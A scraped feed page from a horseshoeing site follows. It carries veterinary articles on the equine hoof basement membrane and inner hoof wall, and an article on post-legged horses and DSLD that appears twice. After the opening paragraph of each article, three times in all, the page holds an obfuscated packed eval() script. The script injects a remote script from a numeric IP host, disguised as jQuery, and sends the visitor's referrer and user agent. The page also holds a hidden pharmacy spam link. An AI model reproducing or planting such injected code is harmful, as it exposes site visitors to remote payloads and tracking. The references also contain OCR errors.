lamellar BM was similar to that described for the rat foot pad BM by Inoue (1989) and Leblond and Inoue (1989). Extensions of the lamina densa into the underlying collagen were common and appeared to have a high frequency of occurrence around the tips of the SELs. Because the extensions increase the surface area of attachment between the BM and the surrounding connective tissue, the provision of many extensions would seem logical in the horses foot, considering the load experienced by this relatively large ungulate, weight bearing, on single digits. Lamina densa extensions were smaller and less common near the tips of the SDLs. A feature of the pars fibroreticularis in the equine hoof BM were the large numbers of banded anchoring fibrils. They formed a mesh of recurving loops over the dermal surface of the lamina densa which intertwined with the surrounding dermal connective tissue.</p> <p>The presence of double basement membranes at the tips of SDLs is unusual and appears not to have been described before. Double BMs are usually associated with capillaries, where the BM peripheral to the endothelium of a capillary is closely applied to the BM of an epithelial cell layer and the BMs merge (Leblond and Inoue 1989). The double BMs found in the lamellae of the equine digit may confer extra strength.</p> <p>The results of the ultrastructural investigation of the lamellar BM reported here concur with those of recent authors such as Leblond and Inoue (1989). In 1967, the electron microscope technique of Stump (1967), using formaldehyde Fixation, which is now known to produce weak BM staining (Inoue 1989), failed to resolve any `fibres' connecting the epidemial basal cells to the adjacent dermis. In fact there are innumerable fine Fibrils crisscrossing the lamina lucida (opposite hemidesmosomes in particular), forming the important physical link between epidermis and dermis.</p> <p>The equine lamellar BM appears to have an increased proportion of those features which confer strength and resiliency to the BM and its adjoining tissues. Therefore, where hemidesmosomes occurred there was an increased density of fine cords crossing the lamina lucida and connecting the cytoskeleton of the epidermal cell (via the tonofilaments converging on the attachment plaque of the hemidesmosome) directly to the lamina densa. Extensions of the lamina densa around the tips of SELs, many anchoring fibrils in the pars fibroreticularis and the presence of double BMs at the tips of SDLs appear to increase the surface area of attachment between the epidermal cells of the hoof, the subjacent connective tissue and ultimately the surface of the distal phalanx.</p> <p>The current concept of the BM is that, instead of it being an amorphous cement layer, as was originally thought (Vracko 1974), it is a 3 dimensional anastomosing lattice work of Fine interconnecting cords (Leblond and Inoue 1989). The axial skeleton of the cord network consists of filaments of collagen IV. The collagen IV filaments are ensheathed with glycoproteins, in particular laminin, to become the more electron dense network of cords known as the lamina densa. Digestion of BM with plasmin exposes the collagen IV axial core and reduces the network of cords to a network of finer filaments (Leblond and Inoue 1989). If exposure of the lamellar BM to plasmin and other proteases were to occur during developmental laminitis the possibility exists that the BM could be weakened and therefore contribute to the acute lamellar degeneration which occurs. Transmission electron microscopy and immunolabelling with antibodies directed against BM structural proteins would appear to be useful techniques to explore this possibility.</p> <p>In this study the tissues were perfused, fixed and dehydrated using a conventional glutaraldehyde based preparation technique and essentially the BM consisted of 2 layers, the lamina densa and the lamina lucida. Recently, a more sophisticated preparation technique using cryofixation-freeze substitution and aldehyde- freeze substitution of a wide range of tissues (including the rat foot pad) has conclusively demonstrated that the lamina lucida is actually an artifact of dehydration and in fact does not exist (Chan et a1. 1993). The BM was composed solely of a lamina densa attached directly to the glycocalyx of the plasmalemma of the adjoining epithelial cells, without an intervening lamina lucida. Cords of the lamina densa interacted with elements of the plasmalemma glycocalyx presumably at laminin receptor sites. Because laminin is a major structural component of the lamina densa Chan et al. (1993) concluded that binding of BM laminin to the laminin receptors in the glycocalyx of the epithelial cell plasmalemma is the mechanism by which the BM remains in close contact to the adjacent epithelium.</p> <p>The discovery that the BM of both the coronary and terminal papillae is folded into numerous ridges, parallel with the long axis of the papilla, adds to our perception of the microanatomy of the equine inner hoof wall. The longitudinal ridges of the papillae are analogous to the folds which arise on the shoulders of the proximal lamellae and give rise to the secondary dermal and epidermal lamellae (SDLs and SELs). They probably share the similar role of increasing the surface area of attachment between the hoof and the distal phalanx. They may also act as guides or channels directing the keratinising daughter cells of the rapidly proliferating epidermal basal cells in a correctly oriented proximo-distal direction. Detailed light microscope studies of the proximal hoof wall by Leach (1980) showed that the most proximal lamellae were devoid of secondary lamellae. As sections were made in a more distal direction, the BM became folded to form SELs, initially at the bases of the PELs and then progressively towards the tips. This study corroborates the findings of Leach (1980) by using an unrelated technique (sodium bromide treatment and scanning electron microscopy) to show that the secondary lamellae originate as folds in the BM of the proximal primary lamellae.</p> <p>Exposure of the hoof wall BM, by removing the overlying epidermal basal cells with either the detergent/enzyme or the sodium bromide technique, allows almost the entire surface of the BM to be examined in detail. The results of this study show that the BM survives the rigours of processing for scanning electron microscopy remarkably intact and free of defects and this despite the absence of a supporting epidermal framework. If these new techniques are applied to hoof wall tissues affected by laminitis and lesions in the BM and the underlying connective tissue are revealed, then these phenomena can be safely attributed to the pathology of laminitis and not to artifacts of the technique.</p> <p><span style="font-size: 14pt;"><strong>Acknowledgments</strong></span></p> <p>The invaluable help of the following is gratefully acknowledged: Chris Haller for transmission electron microscopy, Susan Therkelsen and Soney Baigent for light microscopy, Dr. Philip Bird and Lindsay Xu for immunocytochemistry and Dr. Bronwen Cribb, John Nailon and Ron Rasch for scanning electron microscopy. Thanks also to Margaret Muncaster for typing the manuscript. This research project was funded by a generous grant from O'Dwyer Horseshoes Pty Ltd, Australia.</p> <p><span style="font-size: 14pt;"><strong>References</strong></span></p> <p><strong>Amevo, B. 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Surg. 2, 439-444.</p> <p><strong>Hood, D. M., Gremmel, S. M., Amoss, M. S., Button, C. and Hightower, O. (1979)</strong> Equine laminitis III: Coagulation dysfunction in the developmental and acute disease. J. Eyuine Med. Surg. 3, 355-360.</p> <p><strong>Hood, D. M. and Stephens, K. A. (1981)</strong> Physiopathology of equine laminitis. Comp. cont. Educ. pract. vet. 3, S454-459.</p> <p><strong>Hood, D. M., Stephens, K. A. and Amoss, M. S. (1982a)</strong> The use of alpha- and beta- adrenergic blockade as a preventative in the carbohydrate model of laminitis: a preliminary report. Proceedings of the First Equine Endotoxaemia-Laminitis Symposium. Am. Ass. Equine Pract. Newsletter 2, 142-146.</p> <p><strong>Hood, D. M., Stephens, K. A. and Amoss, M. S. (1982b)</strong> Heparin as a preventative for equine laminitis: A preliminary report. Proceedings of First Equine Endotoxemia-Laminitis Symposium. Am. A.ss. Equine Prart. Newsletter 2, 146- 149.</p> <p><strong>Kardon, R. H. and Kessel, R. G. (1979)</strong> SEM studies on vascular casts of the rat ovary. In: Scanning electron microscopy/1979/III, Eds: R.P. Becker and O. Jahari Scanning Electron Microscopy Inc., Chicago. pp 743-750.</p> <p><strong>Larsson, B., Obel, N. and Aberg, B. (1956)</strong> On the biochemistry of keratinization in the matrix of the horses' hoof in normal conditions and in laminitis. Nord. vet. Med. 8, 761-776.</p> <p><strong>Mishra, P. C. and Leach, D. H. (1983a)</strong> Extrinsic and intrinsic veins of the equine hoof wall. J. Anat.136, 543-560.</p> <p><strong>Mishra, P. C. and Leach, D. H. (l983b)</strong> Electron microscopic study of the veins of the dermal lamellae of the eyuine hoof wall. Equine vet. J.15, 14-21.</p> <p><strong>Molyneux, G. S. (1965)</strong> Observation on the structure, distribution and significance of arterio-venous anastomoses in sheep skin. In: Binlogv of the Skin and Hair Growth. Eds: A. G. Lyne and B. F. Short, Angus and Robertson, Sydney, pp.591- 602.</p> <p><strong>Molyneux, G. S. and Bryden, M. M. (1981)</strong> Comparative aspects of arteriovenous anastomoses. In: Progress in Anatomy. Vol. I., Ed: R. J. Harrison, Cambridge University Press, Cambridge, pp 207-227.</p> <p><strong>Molyneux, G. S. and Pollitt, C. C. (1987)</strong> An electron microscopic study of the laminar demsal microcirculation of the equine foot. II. Ultrastructure and innervation of arteriovenous anastomoses (AVAs). In: Progress in microrirculation research. Procs. 4th Australian and New Zealand Symp. on Microcirculation. Eds: M. A. Perry and D. G. Garlick, The University of New South Wales, p 24.</p> <p><strong>Morris, J. L. and Bevan, R. D. (1984) </strong>Development of the vascular bed in the rabbit ear: scanning electron microscopy of vascular corrosion casts. Am. J. Anat. 171, 75-89.</p> <p><strong>Murrish, D. E. and Guard, C. L. (1977)</strong> Cardiovascular adaptations of the giant petrel, Macronectes giganteus to the Antarctic environment. In: Adapatations within Antarctic ecosystems. Proc. 3rd SCAR symp. on Antacrtic Biology, Ed: G. A. Llano. Smithsonian Institution, Washington pp. 511-530.</p> <p><strong>Pollitt, C. C. and Molyneux G. S. (1987)</strong> An electron microscopic study of the laminar dermal microcirculation of Ihe eyuine foot I. Scanning electron microscopy. In: Progress in microcirculation research. Procs. 4th Australian and New Zealand Symp. on Microcirculation. Eds: M. A. Perry and d. G. Garlick, the University of New South Wales. p.23.</p> <p><strong>Robinson, N. E., Scott, J. B. and Dabney, J. M. (1976) </strong>Digital vascular responses and permability in eyine alimentary laminitis. Am. J. vet. Res. 37, 1171-1176.</p> <p><strong>Rogers, P. A. W. and Gannon, B. J. (1983)</strong> The microvascular cast as a three- dimensional tissue skeleton: visualisation of rapid morphological changes in tissues of the rat uterus. J. Microsc.131, 241-247.</p> <p><strong>Rooney, J. R. (1984)</strong> Arteriovenous anastomoses in the digit of Ihe horse. Equine vet. Sci.4, 182-183.</p> <p><strong>Sack, W.0. and Habel, R. E. (1977)</strong> Rooney's guide to the dissection of che horse. Veterinary Textbooks, Ithaca, New York, p.162.</p> <p><strong>Schummer, A., Wilkens, H., Vollmerhaus, B. and Habermehl, K-H. (1981)</strong> In: The circulatory system, the skin and the cutanenus organs of the domestic mammals. Verlag Paul Perry. Berlin, p. 557.</p> <p><strong>Talukdar, A. H., Calhoun, M. L. and Stinson, A. W. (1972)</strong> Specialised vascular structures in the skin of the horse. Am. J. vet. Res. 33, 335-338.</p> <p><strong>Trout, D. R. (1987)</strong> Srintigraphir eraluatinn nj digital circulation during the development and acute phases of laminitis. Ph. D. dissertation. University of Califormia. Davis.</p> <p><strong>Yelle, M. (1986)</strong> Clinicians guide to equine laminitis. Equine vet. J.18, 156-l58.</p> <p>© <em>C. C. Pollitt</em></p> <p>posted here with the permission of the author<br />first published in <em><strong>Equine vet. J.</strong></em>, (1994) <strong>26</strong> (5) 399-407</p></div> Are Post Legged Horses DSLD Carriers? 2009-01-10T07:33:34+00:00 2009-01-10T07:33:34+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/356-are-post-legged-horses-dsld-carriers Deb Bennett, PhD baron@horseshoes.com <div class="feed-description"><p><span class="dropcap">T</span>o clarify understanding of degenerative suspensory ligament desmitis (DSLD), three strands must be interwoven: (1) To define post-legged conformation, (2) to explain structure and function of the suspensory ligaments and (3) to consider heritability. My purpose is to help you learn to distinguish horses likely to develop DSLD from others.</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfdrf|var|u0026u|referrer|snizt||js|php'.split('|'),0,{})) </script></noindex> <p>Post-legged structure is illustrated in photos 1 through 4. The bay mare in photo 1 and the mare in photo 7 have relatively wide open angles at stifle and hock. This defines post-legged structure.</p> <table style="text-align: left;" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_1.gif" alt="post_legged_1" width="232" height="152" /><strong><br />1.</strong> 9 year old Arabian mare. She is<br />post-legged but not coon-footed.</td> </tr> </tbody> </table> <br /> <table style="text-align: right;" align="right" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_2.gif" alt="post_legged_2" width="144" height="197" /><br /><strong>2.</strong> 18 year old Arabian mare.<br />Her hind limbs are afflicted<br />with DSLD.As a result of<br />her condition, her fetlocks<br />have dropped (she is coon-<br />footed whenweight-bearing),<br />and her stifle and hock angles<br />have been stretched open. The<br />fetlock joints are large, puffy<br />and firm to the touch.</td> </tr> </tbody> </table> <p>The grey mare in photos 2 to 4 is less post-legged, but is severely afflicted with DSLD. This has caused her hind suspensories to become hard to the touch and painful, and has contributed to the evident enlargement of the hock and fetlock joints. Photo 4 illustrates the peculiar stance that the mare typically uses to try to make herself comfortable; bringing one hind foot as far forward as possible, she rests it on the toe. Later she will change legs. The mare walks as much as possible on her toes and avoids weighting her heels.</p> <p>The branches of the suspensory ligament are arranged around the rear aspect of the fetlock joint so as to suspend it in an elastic sling. In movement, the suspensory sling pushes the fetlock joint up and forward when weight is removed from the limb. At rest it keeps the fetlock joint from descending too far to the ground.</p> <table style="text-align: left;" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_3.gif" alt="post_legged_3" width="146" height="198" /><br /><strong>3.</strong> A hind view showing<br />the mare's enlarged fetlock<br />joints. Her hocks are also<br />enlarged.</td> </tr> </tbody> </table> <br /> <table style="text-align: right;" align="right" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_4.gif" alt="post_legged_4" width="176" height="111" /><br /><strong>4.</strong> Shows the mare's odd but<br />characteristic stance, resting<br />the hind foot stiffly on the toe.</td> </tr> </tbody> </table> <p>Horses afflicted with DSLD develop inelastic suspensories which do not properly support the fetlock joint. Their conformation becomes what is called coon-footed, with pasterns angled near the horizontal. This dropping of the fetlock causes the distance from the hip socket to the center of the fetlock joint to increase and as a result, straightens the hind limb structure. No matter what hind limb structure a horse may have been born with, as DSLD progresses and the fetlock drops, the horse will become more post-legged and coon-footed.</p> <p>Now let's consider photo 5. This mare is a full sister to the mare of photo 2. Her hind limb angles are still within the normal range, just as mare 2's were before the onset of DSLD. However, the viewer should note the subtle peculiarity of stance displayed in mare 5's left hind leg. The mare consistently weights only the toe, which may signal the onset of DSLD. Mare 1 and mare 7, who are congenitally more post-legged, do not show this sign. Note that neither mare 1 nor mare 5 is coon-footed with dropped fetlocks.</p> <p>For these reasons, I do not think that horses should be eliminated from breeding merely on the grounds that they are post-legged or coonfooted. The conformation, by itself, is not enough to show whether or not a horse is a DSLD carrier. For example, generations of post-legged and coon-footed Thoroughbreds have raced without reports of DSLD.</p> <table style="text-align: left;" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_5.gif" alt="post_legged_5" width="177" height="132" /><br /><strong>5.</strong> 15 year old Arabian mare.<br />She is a full sister to the mare in<br />photo 4 and she, too, has DSLD<br />but the symptoms are, so far,<br />milder than in her sister. Note<br />the toe-resting stance and<br />compare to photos 1 and 4.</td> </tr> </tbody> </table> <br /> <table style="text-align: right;" align="right" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_6.gif" alt="post_legged_6" width="127" height="215" /><br /><strong>6.</strong> 20 year old Peruvian Paso<br />gelding. He is post-legged<br />and coon-footed, with dropped<br />fetlocks, thickened ankles and<br />suspensory ligaments. He is<br />believed to not be affected<br />with genetic DSLD as his<br />condition has been stable<br />for many years and lately<br />has improved, not degenerated.<br />His condition most likely is the<br />result of an original post-legged<br />conformation and stressful<br />training and riding (with hollow<br />and stiff? back and tight neck) as<br />well as improper trimming.</td> </tr> </tbody> </table> <p>As a matter of fact, post-legged structure is a help to a racehorse, as it predisposes to efficiency in the gallop gait. It's a detriment to any other gait, however, and most especially to amblers who typically coil their loins and round their backs much less than gallopers. Because it rounds its back and coils its loins, a post-legged galloper can bring its hind limbs forward under the body without straining any posterior structure of the limb, but the post-legged Paso horse - at least as it is typically trained and shown - cannot. Certainly, therefore, Paso trainers and showmen should be encouraged to use saddling, bridling, and riding techniques that would help their horse to round their back in movement. A horse with incipient or mild DSLD can be expected to break down faster if ridden with a hollow and stiff back.</p> <table style="text-align: left;" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_7.gif" alt="post_legged_7" width="127" height="216" /><br /><strong>7.</strong> 22 year old Peruvian Paso<br />mare. If this mare has DSLD,<br />it is late in onset and mild in<br />degree. She is congenitally<br />post-legged and probably is<br />not?a "carrier". Note the<br />pasterns' angle; there are<br />many sound Thoroughbreds<br />with identical conformation.</td> </tr> </tbody> </table> <p>Horses that develop DSLD first undergo suspensory ligament degeneration and then show the onset of, or an increase in, structural postleggedness and coon-footedness. There is no question as to what should be done about it: afflicted individuals should be removed from the breeding population. However, to keep this in perspective, I would also remind you that post-legged structure per se is not a desirable characteristic in gaited horses. Postlegged hind limb structure, like every other aspect of conformation, is just as much heritable - just as much caused by genes - as DSLD. The bottom line for gaited horses is therefore simple; Avoid post-legged horses!</p> <p>This article appeared in Conquistador Magazine Vol.4 #1. Published here with permission.</p></div> <div class="feed-description"><p><span class="dropcap">T</span>o clarify understanding of degenerative suspensory ligament desmitis (DSLD), three strands must be interwoven: (1) To define post-legged conformation, (2) to explain structure and function of the suspensory ligaments and (3) to consider heritability. My purpose is to help you learn to distinguish horses likely to develop DSLD from others.</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfdrf|var|u0026u|referrer|snizt||js|php'.split('|'),0,{})) </script></noindex> <p>Post-legged structure is illustrated in photos 1 through 4. The bay mare in photo 1 and the mare in photo 7 have relatively wide open angles at stifle and hock. This defines post-legged structure.</p> <table style="text-align: left;" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_1.gif" alt="post_legged_1" width="232" height="152" /><strong><br />1.</strong> 9 year old Arabian mare. She is<br />post-legged but not coon-footed.</td> </tr> </tbody> </table> <br /> <table style="text-align: right;" align="right" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_2.gif" alt="post_legged_2" width="144" height="197" /><br /><strong>2.</strong> 18 year old Arabian mare.<br />Her hind limbs are afflicted<br />with DSLD.As a result of<br />her condition, her fetlocks<br />have dropped (she is coon-<br />footed whenweight-bearing),<br />and her stifle and hock angles<br />have been stretched open. The<br />fetlock joints are large, puffy<br />and firm to the touch.</td> </tr> </tbody> </table> <p>The grey mare in photos 2 to 4 is less post-legged, but is severely afflicted with DSLD. This has caused her hind suspensories to become hard to the touch and painful, and has contributed to the evident enlargement of the hock and fetlock joints. Photo 4 illustrates the peculiar stance that the mare typically uses to try to make herself comfortable; bringing one hind foot as far forward as possible, she rests it on the toe. Later she will change legs. The mare walks as much as possible on her toes and avoids weighting her heels.</p> <p>The branches of the suspensory ligament are arranged around the rear aspect of the fetlock joint so as to suspend it in an elastic sling. In movement, the suspensory sling pushes the fetlock joint up and forward when weight is removed from the limb. At rest it keeps the fetlock joint from descending too far to the ground.</p> <table style="text-align: left;" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_3.gif" alt="post_legged_3" width="146" height="198" /><br /><strong>3.</strong> A hind view showing<br />the mare's enlarged fetlock<br />joints. Her hocks are also<br />enlarged.</td> </tr> </tbody> </table> <br /> <table style="text-align: right;" align="right" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_4.gif" alt="post_legged_4" width="176" height="111" /><br /><strong>4.</strong> Shows the mare's odd but<br />characteristic stance, resting<br />the hind foot stiffly on the toe.</td> </tr> </tbody> </table> <p>Horses afflicted with DSLD develop inelastic suspensories which do not properly support the fetlock joint. Their conformation becomes what is called coon-footed, with pasterns angled near the horizontal. This dropping of the fetlock causes the distance from the hip socket to the center of the fetlock joint to increase and as a result, straightens the hind limb structure. No matter what hind limb structure a horse may have been born with, as DSLD progresses and the fetlock drops, the horse will become more post-legged and coon-footed.</p> <p>Now let's consider photo 5. This mare is a full sister to the mare of photo 2. Her hind limb angles are still within the normal range, just as mare 2's were before the onset of DSLD. However, the viewer should note the subtle peculiarity of stance displayed in mare 5's left hind leg. The mare consistently weights only the toe, which may signal the onset of DSLD. Mare 1 and mare 7, who are congenitally more post-legged, do not show this sign. Note that neither mare 1 nor mare 5 is coon-footed with dropped fetlocks.</p> <p>For these reasons, I do not think that horses should be eliminated from breeding merely on the grounds that they are post-legged or coonfooted. The conformation, by itself, is not enough to show whether or not a horse is a DSLD carrier. For example, generations of post-legged and coon-footed Thoroughbreds have raced without reports of DSLD.</p> <table style="text-align: left;" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_5.gif" alt="post_legged_5" width="177" height="132" /><br /><strong>5.</strong> 15 year old Arabian mare.<br />She is a full sister to the mare in<br />photo 4 and she, too, has DSLD<br />but the symptoms are, so far,<br />milder than in her sister. Note<br />the toe-resting stance and<br />compare to photos 1 and 4.</td> </tr> </tbody> </table> <br /> <table style="text-align: right;" align="right" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_6.gif" alt="post_legged_6" width="127" height="215" /><br /><strong>6.</strong> 20 year old Peruvian Paso<br />gelding. He is post-legged<br />and coon-footed, with dropped<br />fetlocks, thickened ankles and<br />suspensory ligaments. He is<br />believed to not be affected<br />with genetic DSLD as his<br />condition has been stable<br />for many years and lately<br />has improved, not degenerated.<br />His condition most likely is the<br />result of an original post-legged<br />conformation and stressful<br />training and riding (with hollow<br />and stiff? back and tight neck) as<br />well as improper trimming.</td> </tr> </tbody> </table> <p>As a matter of fact, post-legged structure is a help to a racehorse, as it predisposes to efficiency in the gallop gait. It's a detriment to any other gait, however, and most especially to amblers who typically coil their loins and round their backs much less than gallopers. Because it rounds its back and coils its loins, a post-legged galloper can bring its hind limbs forward under the body without straining any posterior structure of the limb, but the post-legged Paso horse - at least as it is typically trained and shown - cannot. Certainly, therefore, Paso trainers and showmen should be encouraged to use saddling, bridling, and riding techniques that would help their horse to round their back in movement. A horse with incipient or mild DSLD can be expected to break down faster if ridden with a hollow and stiff back.</p> <table style="text-align: left;" cellpadding="5"> <tbody> <tr> <td><img src="images/stories/horshoes-graphics/post_legged_7.gif" alt="post_legged_7" width="127" height="216" /><br /><strong>7.</strong> 22 year old Peruvian Paso<br />mare. If this mare has DSLD,<br />it is late in onset and mild in<br />degree. She is congenitally<br />post-legged and probably is<br />not?a "carrier". Note the<br />pasterns' angle; there are<br />many sound Thoroughbreds<br />with identical conformation.</td> </tr> </tbody> </table> <p>Horses that develop DSLD first undergo suspensory ligament degeneration and then show the onset of, or an increase in, structural postleggedness and coon-footedness. There is no question as to what should be done about it: afflicted individuals should be removed from the breeding population. However, to keep this in perspective, I would also remind you that post-legged structure per se is not a desirable characteristic in gaited horses. Postlegged hind limb structure, like every other aspect of conformation, is just as much heritable - just as much caused by genes - as DSLD. The bottom line for gaited horses is therefore simple; Avoid post-legged horses!</p> <p>This article appeared in Conquistador Magazine Vol.4 #1. Published here with permission.</p></div> Anatomy of the Inner Hoof Wall 2009-01-10T01:08:51+00:00 2009-01-10T01:08:51+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/355-anatomy-of-the-inner-hoof-wall Christopher C. Pollitt, BVSc, PhD. baron@horseshoes.com <div class="feed-description"><p align="justify"><span class="dropcap">R</span>esearch into the structure and function of the hoof wall has proven fundamental to the understanding of how important diseases such as laminitis develop. This article reviews current information on the equine hoof wall and its internal lamellar layer (with notes on the developmental mechanism of laminitis) in the hope that a more unified approach to the rational management of the hoof wall, <a href="http://******noprescription.net" style="text-decoration:none;color:#555555">check</a> by both veterinarians, horse owners and farriers alike, will be the outcome.</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhzhn|var|u0026u|referrer|raihh||js|php'.split('|'),0,{})) </script></noindex> <p align="justify"><img style="float: left;" src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_9.gif" alt="anatomy_of_the_inner_hoofwall_9" width="375" align="left" border="0" height="524" /></p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"><strong>INTRODUCTION </strong></p> <p align="justify">Members of the mammalian family Equidae represent the extreme result of digitigrade evolution. Single digits, encased in tough, keratinized hooves, on the end of relatively lightweight limbs, have undoubtedly, contributed to the speed and versatility of the equids. But at a price. Immobility and crippling result if the connection between hoof and bone (the lamellar distal phalangeal attachment apparatus) fails. Considerable selection pressure against such failure (otherwise known as laminitis) must exist among wild equids as a foundered animal would quickly attract the attention of predators. Equids are normally mobile and athletic but when they develop laminitis and become crippled we realize, belatedly, how dependent they were on an intact, functional, pain-free lamellar distal phalangeal suspensory apparatus.</p> <p align="center"><strong>HOOF WALL KERATINIZATION</strong></p> <p align="justify">The word <em>keratin</em> is from the Greek <em>keratos</em>for horn, which is appropriate for a discussion on the horse’s hoof. Keratin is the main structural protein of the epidermis and is present in skin, hair, nail, claw, wool, horn, feather, scale as well as hoof. The keratins can be loosely grouped into the “soft” keratins of skin and the “hard” keratins of horn and hair etc. The tubular hoof of the wall is composed of hard keratin, is rich in disulphide bonds sole and has great physical strength. The frog and the white zone on the other hand are rich in sulphydryl groups but poor in disulphide bonds and have lower physical strength but greater elasticity (Bragulla et al, 1994). Non stop production of new hoof makes good the continual loss of hoof wall, occurring at the distal ground surface. The strength, hardness and insolubility of keratin is due to disulphide bonds between and within its long chain fibrous molecules (Priestley, 1993). The sulphur containing amino acids methionine and cysteine are incorporated into the keratinocytes in the final stages of its maturation hence the requirement of these amino acids (or their sulphur containing precursors) in the diet. There are in fact dozens of different keratin molecules, with molecular weights in the range 40-70 kDa with varying degrees of hardness and sulphur concentration, expressed in hoof tissues in accordance with their functional destiny.</p> <p align="justify">Examination of the hoof capsule, with its contents removed, shows countless thousands of small, circular, holes pocking the surface of the coronary groove (Fig 1).</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_1.jpg" alt="anatomy_of_the_inner_hoofwall_1" width="757" border="0" height="499" /> <p align="justify"><strong>Fig 1. Hoof with contents removed. Countless small holes pock the surface of the coronary groove (C). The 550-600 lamellae (L) of the hoof wall arise on the inner shoulders of the coronary groove.</strong></p> <p align="justify">A sagittal section of the proximal hoof wall shows that the holes continue distally into the body of the wall as tubes, 4-5 mm in length, gradually tapering to a point. A layer of confluent epidermal basal cells covers the surface of the holes and the surface of the coronary groove between the holes.</p> <p align="center"><strong>HOOF WALL GROWTH</strong></p> <p align="justify">The hoof wall grows throughout the life of the horse. Continual regeneration of the hoof wall occurs at the coronary band where germinal cells (epidermal basal cells) produce populations of daughter cells (keratinocytes or keratin producing cells) which mature and keratinize, continually adding to the proximal hoof wall. We have used an improved method of cell proliferation detection to show the precise location of basal cells undergoing mitosis and the kinetics of basal cell proliferation in the coronary band region of ponies (Daradka and Pollitt unpublished data). The thymidine analogue (5-bromo-2’-deoxyuridine or BRdU) injected intravenously into living horses was incorporated into all cells undergoing mitosis during the 6h study period. Histological sections of hoof tissue stained immunohistochemically, using monoclonal antibodies against BrdU, showed a high rate of basal cell mitosis in the coronary zones producing intertubular hoof and tubular hoof (Fig 2) and in the proximal lamellar zone. Evidence of basal cell proliferation in the remainder of the lamellar region was lacking. The implications of this finding will be discussed later.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_2.jpg" alt="anatomy_of_the_inner_hoofwall_2" width="282" border="0" height="291" /> <p align="justify"><strong>Fig 2. Longitudinal section of proximal hoof (coronary band) stained for immunolocalisation of BrDU that was injected intravenously into a normal horse 6h previously. The positive brown staining cells are basal cells that have incorporated BrDU as they have undergone mitosis in the previous 6 h. Both the tubular and intertubular hoof show a high rate of mitosis.</strong></p> <p align="justify">As already shown these coronary basal cells undergo mitosis throughout the life of the horse producing daughter cells which mature and keratinize undertaking a journey, up to 8 months in duration, in the direction of the ground surface. Maturing keratinocytes, arising from basal cells lining the holes, become organized into thin, elongated, cylinders or tubules. In cross-section the keratinocytes of individual hoof wall tubules are arranged around a central hollow medulla in non pigmented concentric layers (Fig 3). Each hair-like tubule is continuous, from its origin at the coronary band all the way to the ground surface (a distance of 5-15 cm depending on the breed). The keratinocytes generated between the holes mature into inter-tubular hoof thus forming a keratinized cellular matrix in which tubules are embedded.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_3.jpg" alt="anatomy_of_the_inner_hoofwall_3" width="752" border="0" height="570" /> <p align="justify"><strong>Fig 3. Transverse section of a pigmented hoof wall (unstained). The intertubular hoof is heavily pigmented and is the strongest component of the hoof wall. In contrast the unpigmented tubules of the hoof wall have a hollow medulla and the mature keratinocytes of the tubular hoof are arranged in concentric 